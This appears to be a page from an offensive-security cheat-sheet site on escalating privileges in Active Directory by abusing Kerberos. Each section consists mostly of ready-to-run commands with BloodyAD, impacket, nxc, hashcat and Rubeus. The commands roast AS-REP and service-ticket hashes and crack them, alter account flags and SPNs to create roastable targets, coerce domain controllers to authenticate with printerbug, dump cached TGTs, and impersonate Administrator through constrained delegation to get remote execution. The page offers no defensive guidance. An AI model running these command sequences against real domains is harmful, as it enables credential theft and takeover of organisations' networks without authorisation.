# Kerberos Abuse Privilege Escalation

> Exploiting Kerberos authentication weaknesses in AD environments via techniques like Kerberoasting, AS-REP roasting, and ticket attacks to escalate privileges.

- **URL:** https://hackindex.io/platforms/active-directory/privilege-escalation/kerberos-abuse-privilege-escalation
- **Path:** Active Directory > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

Kerberos abuse covers techniques that manipulate the Kerberos authentication protocol to escalate privileges: setting up accounts for offline hash cracking, abusing delegation to impersonate privileged users, and forging tickets when you have the right key material. Most techniques here require either valid credentials or a specific ACL right on the target account.

- AS-REP Roasting: crack hashes from accounts with pre-authentication disabled
- Kerberoasting: request TGS tickets for SPN accounts and crack offline
- Unconstrained delegation: extract TGTs from compromised delegation hosts
- Constrained delegation: impersonate any user to allowed services via S4U

## AS-REP Roasting

Accounts with pre-authentication disabled do not require a valid TGT before issuing an AS-REP. Any authenticated user (or unauthenticated if anonymous bind works) can request an AS-REP for these accounts and crack the hash offline.

**Find and roast AS-REP Roastable accounts**

```bash
# Find accounts with pre-auth disabled via BloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

# Request AS-REP hashes with impacket
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt

# Without credentials: if anonymous bind works
impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile users.txt

# nxc: direct hash dump
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt

# Crack with hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# $krb5asrep$23$svc-backup@CORP.LOCAL:1a2b3c...
```

If you have GenericWrite or GenericAll on an account that does have pre-authentication enabled, you can disable it yourself with BloodyAD, roast the account, then re-enable it.

**Enable DONT_REQ_PREAUTH on target account**

```bash
# Disable pre-auth on target account (requires GenericWrite)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER DONT_REQ_PREAUTH

# Request the AS-REP hash
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt

# Re-enable pre-auth after roasting
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER DONT_REQ_PREAUTH

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

## Kerberoasting

Any domain user can request a TGS ticket for any account with a Service Principal Name set. The ticket is encrypted with the service account's password hash and can be cracked offline. Service accounts often have weak passwords and high privileges.

**Find and Kerberoast SPNs**

```bash
# Find Kerberoastable accounts via BloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr sAMAccountName servicePrincipalName

# Request TGS hashes with impacket
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt

# nxc: direct hash dump
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt

# Crack with hashcat
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
# $krb5tgs$23$*svc-mssql$CORP.LOCAL$corp.local/svc-mssql*$a1b2c3...
```

If you have GenericWrite on a user account, you can set an SPN on it yourself: turning any user into a Kerberoastable target. Service accounts with weak passwords are the most valuable results.

**Set SPN on target account for Kerberoasting**

```bash
# Set SPN on target user (requires GenericWrite or GenericAll)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v '$DOMAIN/fakespn'

# Request TGS ticket for the new SPN
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt

# Crack
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

# Remove SPN after cracking
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove object $TARGET_USER servicePrincipalName -v '$DOMAIN/fakespn'
```

## Unconstrained delegation abuse

Computers with unconstrained delegation receive a copy of the TGT of every user who authenticates to them. If you compromise such a machine, you can extract any TGT cached there: including Domain Admin TGTs if you can coerce a privileged user to authenticate.

**Find unconstrained delegation targets**

```bash
# Find computers with unconstrained delegation (excluding DCs)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName

# Once you have a shell on the unconstrained delegation host,
# coerce a DC to authenticate to it via printerbug
# printerbug.py is from https://github.com/dirkjanm/krbrelayx
python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$DC_IP $UNCONSTRAINED_HOST

# Extract TGTs from memory on the compromised host
C:\Windows\Temp\Rubeus.exe triage
C:\Windows\Temp\Rubeus.exe dump /luid:0x3e7 /nowrap

# Use the extracted TGT
C:\Windows\Temp\Rubeus.exe ptt /ticket:$BASE64_TICKET
```

## Constrained delegation abuse

Constrained delegation allows a service to request tickets on behalf of a user to specific target services. With control of such an account you can impersonate any user (including Domain Admins) to the allowed services.

**Constrained delegation abuse**

```bash
# Find constrained delegation accounts
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName msDS-AllowedToDelegateTo

# Enable protocol transition (required for S4U2Self)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $SVC_ACCOUNT TRUSTED_TO_AUTH_FOR_DELEGATION

# Request ticket as Domain Admin to allowed service
impacket-getST -spn $ALLOWED_SPN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/$SVC_ACCOUNT:$PASSWORD

# Use ticket
export KRB5CCNAME=Administrator@$ALLOWED_SPN@$DOMAIN.ccache
impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass
```

## References

- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - add uac, remove uac, set object servicePrincipalName reference
- [Impacket: GitHub](https://github.com/fortra/impacket) - GetNPUsers, GetUserSPNs, getST, printerbug reference
- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - Ticket extraction and injection for delegation abuse
- [krbrelayx: GitHub](https://github.com/dirkjanm/krbrelayx) - printerbug.py for MS-RPRN coercion